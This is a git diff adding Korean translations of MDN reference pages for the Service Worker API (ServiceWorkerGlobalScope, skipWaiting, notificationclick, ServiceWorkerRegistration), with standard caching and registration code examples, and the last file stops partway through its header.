+<p>{{domxref("ServiceWorkerGlobalScope")}} 인터페이스의 <strong><code>clients</code></strong> 읽기 전용 속성은 서비스 워커와 관련된 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Clients" title="The ServiceWorkerClients interface of the ServiceWorker API represents a container for a list of ServiceWorkerClient objects."><code>Clients</code></a> 객체를 반환한다.</p>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Syntax</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">swClients = self.clients
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>특정한 워커와 관련된 {{domxref("Clients")}} 객체.</p>
+
+<h2 id="Specifications" style="line-height: 30px; font-size: 2.14285714285714rem;">Specifications</h2>
+
+<div></div>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Specification</span></font></th>
+ <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Status</span></font></th>
+ <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Comment</span></font></th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#service-worker-global-scope-clients', 'ServiceWorkerRegistration.clients')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.<br>
+  </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerGlobalScope.clients")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerglobalscope/index.html b/files/ko/web/api/serviceworkerglobalscope/index.html
new file mode 100644
index 0000000000..3f4115cbab
--- /dev/null
+++ b/files/ko/web/api/serviceworkerglobalscope/index.html
@@ -0,0 +1,152 @@
+---
+title: ServiceWorkerGlobalScope
+slug: Web/API/ServiceWorkerGlobalScope
+tags:
+ - API
+ - Draft
+ - Interface
+ - NeedsTranslation
+ - Offline
+ - Reference
+ - Service Workers
+ - ServiceWorkerGlobalScope
+ - TopicStub
+ - Workers
+translation_of: Web/API/ServiceWorkerGlobalScope
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>The <code>ServiceWorkerGlobalScope</code> interface of the <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> represents the global execution context of a service worker.</p>
+
+<p>Developers should keep in mind that the ServiceWorker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state.</p>
+
+<p>Once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power. An active service worker is automatically restarted to respond to events, such as {{domxref("ServiceWorkerGlobalScope.onfetch")}} or {{domxref("ServiceWorkerGlobalScope.onmessage")}}.</p>
+
+<p>Additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the {{domxref("GlobalFetch.fetch", "fetch()")}} method, can be used.</p>
+
+<p>This interface inherits from the {{domxref("WorkerGlobalScope")}} interface, and its parent {{domxref("EventTarget")}}, and therefore implements properties from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, and {{domxref("WindowEventHandlers")}}.</p>
+
+<p>{{InheritanceDiagram(700, 85, 20)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerGlobalScope.clients")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("Clients")}} object associated with the service worker.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.registration")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("ServiceWorkerRegistration")}} object that represents the service worker's registration.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.caches")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("CacheStorage")}} object associated with the service worker.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/activate_event">activate</a></code></dt>
+ <dd>Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onactivate")}} property.</dd>
+ <dt><code>fetch</code></dt>
+ <dd>Occurs when a {{domxref("GlobalFetch.fetch", "fetch()")}} is called.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onfetch")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/install_event">install</a></code></dt>
+ <dd>Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.installing")}} worker.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.oninstall")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/message_event">message</a></code></dt>
+ <dd>Occurs when incoming messages are received. Controlled pages can use the {{domxref("MessagePort.postMessage()")}} method to send messages to service workers. The service worker can optionally send a response back via the {{domxref("MessagePort")}} exposed in <a href="https://html.spec.whatwg.org/multipage/comms.html#messageport"><code>event.data.port</code></a>, corresponding to the controlled page.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onmessage")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/notificationclick_event">notificationclick</a></code></dt>
+ <dd>Occurs when a user clicks on a displayed notification.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} property.</dd>
+ <dt><code>notificationclose</code></dt>
+ <dd>Occurs — when a user closes a displayed notification.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclose")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/push_event">push</a></code></dt>
+ <dd>Occurs when a server push notification is received.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpush")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/pushsubscriptionchange_event">pushsubscriptionchange</a></code></dt>
+ <dd>Occurs when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time).<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} property.</dd>
+ <dt><code>sync</code></dt>
+ <dd>Triggered when a call to {{domxref("SyncManager.register")}} is made from a service worker client page. The attempt to sync is made either immediately if the network is available or as soon as the network becomes available. <br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onsync")}} property.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerGlobalScope.skipWaiting()")}}</dt>
+ <dd>Allows the current service worker registration to progress from waiting to active state while service worker clients are using it.</dd>
+</dl>
+
+<p><code>ServiceWorkerGlobalScope</code> implements {{domxref("WorkerGlobalScope")}} — which implements {{domxref("WindowOrWorkerGlobalScope")}}. Therefore it also has the following property available to it:</p>
+
+<dl>
+ <dt>{{domxref("GlobalFetch.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource. This returns a promise that resolves to the {{domxref("Response")}} object representing the response to your request. This algorithm is the entry point for the fetch handling handed to the service worker context.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This code snippet is from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/prefetch/service-worker.js">service worker prefetch sample</a> (see <a href="https://googlechrome.github.io/samples/service-worker/prefetch/">prefetch example live</a>.) The {{domxref("ServiceWorkerGlobalScope.onfetch")}} event handler listens for the <code>fetch</code> event. When fired, the code returns a promise that resolves to the first matching request in the {{domxref("Cache")}} object. If no match is found, the code fetches a response from the network.</p>
+
+<p>The code also handles exceptions thrown from the {{domxref("GlobalFetch.fetch", "fetch()")}} operation. Note that an HTTP error response (e.g., 404) will not trigger an exception. It will return a normal response object that has the appropriate error code set.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(event) {
+ console.log('Handling fetch event for', event.request.url);
+
+ event.respondWith(
+ caches.match(event.request).then(function(response) {
+ if (response) {
+ console.log('Found response in cache:', response);
+
+ return response;
+ }
+ console.log('No response found in cache. About to fetch from network...');
+
+ return fetch(event.request).then(function(response) {
+ console.log('Response from network is:', response);
+
+ return response;
+ }, function(error) {
+ console.error('Fetching failed:', error);
+
+ throw error;
+ });
+ })
+ );
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#serviceworkerglobalscope-interface', 'ServiceWorkerGlobalScope')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerGlobalScope")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html
new file mode 100644
index 0000000000..685d5c99d2
--- /dev/null
+++ b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html
@@ -0,0 +1,104 @@
+---
+title: 'ServiceWorkerGlobalScope: notificationclick event'
+slug: Web/API/ServiceWorkerGlobalScope/notificationclick_event
+translation_of: Web/API/ServiceWorkerGlobalScope/notificationclick_event
+---
+<div>{{APIRef}}</div>
+
+<p><code>notificationclick</code> 이벤트는 <span style="line-height: 19.0909080505371px;">{{domxref("ServiceWorkerRegistration.showNotification()")}} 에 의해 발생한 시스템 notification 이 클릭되었음을 나타내기 위해 </span>발생된다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"></th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Cancelable</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Interface</th>
+ <td>{{domxref("NotificationEvent")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Event handler</th>
+ <td><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/onnotificationclick">onnotificationclick</a></code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p><code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener</a></code> 메소드 내에서 <code>notificationclick</code> 이벤트를 사용할 수 있다:</p>
+
+<pre class="brush: js">self.addEventListener('notificationclick', function(event) {
+ console.log('On notification click: ', event.notification.tag);
+ event.notification.close();
+
+ // This looks to see if the current is already open and
+ // focuses if it is
+ event.waitUntil(clients.matchAll({
+ type: "window"
+ }).then(function(clientList) {
+ for (var i = 0; i &lt; clientList.length; i++) {
+ var client = clientList[i];
+ if (client.url == '/' &amp;&amp; 'focus' in client)
+ return client.focus();
+ }
+ if (clients.openWindow)
+ return clients.openWindow('/');
+ }));
+});
+</pre>
+
+<p>또는 <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/onnotificationclick">onnotificationclick</a></code> 이벤트 핸들러 속성을 사용할 수 있다:</p>
+
+<pre class="brush: js">self.onnotificationclick = function(event) {
+ console.log('On notification click: ', event.notification.tag);
+ event.notification.close();
+
+ // This looks to see if the current is already open and
+ // focuses if it is
+ event.waitUntil(clients.matchAll({
+ type: "window"
+ }).then(function(clientList) {
+ for (var i = 0; i &lt; clientList.length; i++) {
+ var client = clientList[i];
+ if (client.url == '/' &amp;&amp; 'focus' in client)
+ return client.focus();
+ }
+ if (clients.openWindow)
+ return clients.openWindow('/');
+ }));
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}</td>
+ <td>{{Spec2('Web Notifications')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerGlobalScope.notificationclick_event")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+ <li><a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html
new file mode 100644
index 0000000000..a6c3e50e96
--- /dev/null
+++ b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html
@@ -0,0 +1,71 @@
+---
+title: ServiceWorkerGlobalScope.skipWaiting()
+slug: Web/API/ServiceWorkerGlobalScope/skipWaiting
+translation_of: Web/API/ServiceWorkerGlobalScope/skipWaiting
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><span class="seoSummary">{{domxref("ServiceWorkerGlobalScope")}} 의 <strong><code>ServiceWorkerGlobalScope.skipWaiting()</code></strong> 메소드는 waiting 상태의 서비스 워커를 active 상태의 서비스 워커로 변경하도록 강제한다.</span></p>
+
+<p>근본적인 서비스 워커에 대한 업데이트들이 현재의 클라이언트와 다른 모든 active 클라이언트들에게 즉시 적용되도록 하기 위해 {{domxref("Clients.claim()")}} 과 이 메소드를 사용한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">ServiceWorkerGlobalScope.skipWaiting().then(function() {
+  //Do something
+});</pre>
+
+<h3 id="Returns">Returns</h3>
+
+<p><code>undefined</code> 로 즉시 resolve 되는 {{jsxref("Promise")}}</p>
+
+<h2 id="Example">Example</h2>
+
+<p>서비스 워커가 실행되는 동안 언제라도 <code>self.skipWaiting()</code> 는 호출될 수 있지만, 이것은 <code>waiting</code> 상태로 남아 있을 수도 있는 새롭게 설치된 서비스 워커가 있는 경우에만 영향을 줄 수 있다. 따라서, {{domxref("InstallEvent")}} 핸들러 내부에서 <code>self.skipWaiting()</code> 을 호출하는 것이 일반적이다.</p>
+
+<p>다음 예시는 active 상태의 서비스 워커가 이미 존재하는지의 여부에 관계없이, 새로 설치된 서비스 워커가  <code>activating</code> 상태로 진행되도록 한다.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(event) {
+  // skipWaiting()가 반환하는 promise는 안전하게 무시될 수 있다.
+  self.skipWaiting();
+
+  // 잠재적으로 event.waitUntil(); 내부에서
+ // 서비스 워커 설치를 위해 필요한 다른 action 들을 수행하라.
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#service-worker-obj', 'ServiceWorker')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerGlobalScope.skipWaiting")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{domxref("Clients.claim()")}}</li>
+ <li>{{jsxref("Promise", "Promises")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerregistration/active/index.html b/files/ko/web/api/serviceworkerregistration/active/index.html
new file mode 100644
index 0000000000..cc492009a3
--- /dev/null
+++ b/files/ko/web/api/serviceworkerregistration/active/index.html
@@ -0,0 +1,59 @@
+---
+title: ServiceWorkerRegistration.active
+slug: Web/API/ServiceWorkerRegistration/active
+translation_of: Web/API/ServiceWorkerRegistration/active
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>{{domxref("ServiceWorkerRegistration")}} 인터페이스의 <strong><code>active</code></strong> 속성은 {{domxref("ServiceWorker.state")}} 가 <code style="font-style: normal;">activating</code> 또는 <code style="font-style: normal;">activated</code> 상태인 서비스 워커를 반환한다. 이 속성은 <code style="font-style: normal;">null</code> 로 초기 설정되어 있다.</p>
+
+<p>클라이언트들의 URL이 등록 scope 내에 있을 경우 active 워커는 {{domxref("ServiceWorkerClient")}} 를 제어한다. ({{domxref("ServiceWorkerContainer.register")}} 가 처음으로 호출될 때 그 <code>scope</code> 옵션은 정의된다.)</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 기능은 <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a> 에서 사용 가능하다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Syntax</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">sw = ServiceWorker.active
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>현재 <code>activating</code> 또는 <code>activated</code> 상태에 있다면, {{domxref("ServiceWorker")}} 객체.</p>
+
+<h2 id="Specifications" style="line-height: 30px; font-size: 2.14285714285714rem;">Specifications</h2>
+
+<div></div>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Specification</span></font></th>
+ <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Status</span></font></th>
+ <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Comment</span></font></th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#service-worker-registration-active-attribute', 'ServiceWorkerRegistration.active')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.<br>
+  </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.active")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerregistration/index.html b/files/ko/web/api/serviceworkerregistration/index.html
new file mode 100644
index 0000000000..15606c9603
--- /dev/null
+++ b/files/ko/web/api/serviceworkerregistration/index.html
@@ -0,0 +1,150 @@
+---
+title: ServiceWorkerRegistration
+slug: Web/API/ServiceWorkerRegistration
+tags:
+ - API
+ - Interface
+ - NeedsTranslation
+ - Offline
+ - Reference
+ - Service Workers
+ - Service worker API
+ - ServiceWorkerRegistration
+ - TopicStub
+ - Workers
+translation_of: Web/API/ServiceWorkerRegistration
+---
+<div>
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+</div>
+
+<p><span class="seoSummary">The <code>ServiceWorkerRegistration</code> interface of the <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> represents the service worker registration. You register a service worker to control one or more pages that share the same origin.</span></p>
+
+<p>The lifetime of a service worker registration is beyond that of the <code>ServiceWorkerRegistration</code> objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active <code>ServiceWorkerRegistration</code> objects.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This feature is available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Also implements properties from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}</dt>
+ <dd>Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.installing")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>installing</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.waiting")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>waiting</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.active")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is either <code>activating</code> or <code>activated</code>. This is initially set to <code>null</code>. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the <code>scope</code> option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}}</dt>
+ <dd>Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.sync")}} <strong style="font-weight: bold; line-height: 19.0909080505371px;">{{non-standard_inline}} </strong>{{readonlyinline}} </dt>
+ <dd>Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.</dd>
+</dl>
+
+<h3 id="Unimplemented_properties">Unimplemented properties</h3>
+
+<dl>
+ <dt>{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes. This was mentioned as an idea in the SW explainer at some point, but as yet has not been implemented anywhere.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}</dt>
+ <dd>An <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventListener" title="This method is called whenever an event occurs of the type for which the EventListener interface was registered."><code>EventListener</code></a> property called whenever an event of type <code>updatefound</code> is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Also implements methods from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.getNotifications()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.showNotification()")}}</dt>
+ <dd>Displays the notification with the requested title.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.update()")}}</dt>
+ <dd>Checks the server for an updated version of the service worker without consulting caches.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.unregister()")}}</dt>
+ <dd>Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and <code>updatefound</code> event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the <code>updatefound</code> event will not be fired.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw.js')
+  .then(function(registration) {
+ registration.addEventListener('updatefound', function() {
+      // If updatefound is fired, it means that there's
+      // a new service worker being installed.
+      var installingWorker = registration.installing;
+  console.log('A new service worker is being installed:',
+  installingWorker);
+
+      // You can listen for changes to the installing service worker's
+      // state via installingWorker.onstatechange
+    });
+  })
+  .catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}</td>
+ <td>{{Spec2('Push API')}}</td>
+ <td>Adds the {{domxref("PushManager","pushManager")}} property.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Notifications')}}</td>
+ <td>{{Spec2('Web Notifications')}}</td>
+ <td>Adds the {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} method and the {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}} method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Background Sync')}}</td>
+ <td>{{Spec2('Background Sync')}}</td>
+ <td>Adds the {{domxref("ServiceWorkerRegistration.sync","sync")}} property.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerregistration/installing/index.html b/files/ko/web/api/serviceworkerregistration/installing/index.html
new file mode 100644
index 0000000000..29a45b8b81
--- /dev/null
+++ b/files/ko/web/api/serviceworkerregistration/installing/index.html
@@ -0,0 +1,54 @@
+---
+title: ServiceWorkerRegistration.installing
+slug: Web/API/ServiceWorkerRegistration/installing
+translation_of: Web/API/ServiceWorkerRegistration/installing
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>{{domxref("ServiceWorkerRegistration")}} 인터페이스의 <strong><code>installing</code></strong> 속성은 {{domxref("ServiceWorker.state")}} 가 <code style="font-style: normal;">installing</code> 인 서비스 워커를 반환한다. 이 속성은 <code style="font-style: normal;">null</code> 로 초기 설정되어 있다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 기능은 <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a> 에서 사용 가능하다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Syntax</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">sw = ServiceWorker.installing
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>현재 <code>installing</code> 상태에 있다면, {{domxref("ServiceWorker")}} 객체</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#service-worker-registration-installing-attribute', 'ServiceWorkerRegistration.installing')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.installing")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html
new file mode 100644
index 0000000000..610e80b8a8
--- /dev/null
+++ b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html
@@ -0,0 +1,39 @@
+---
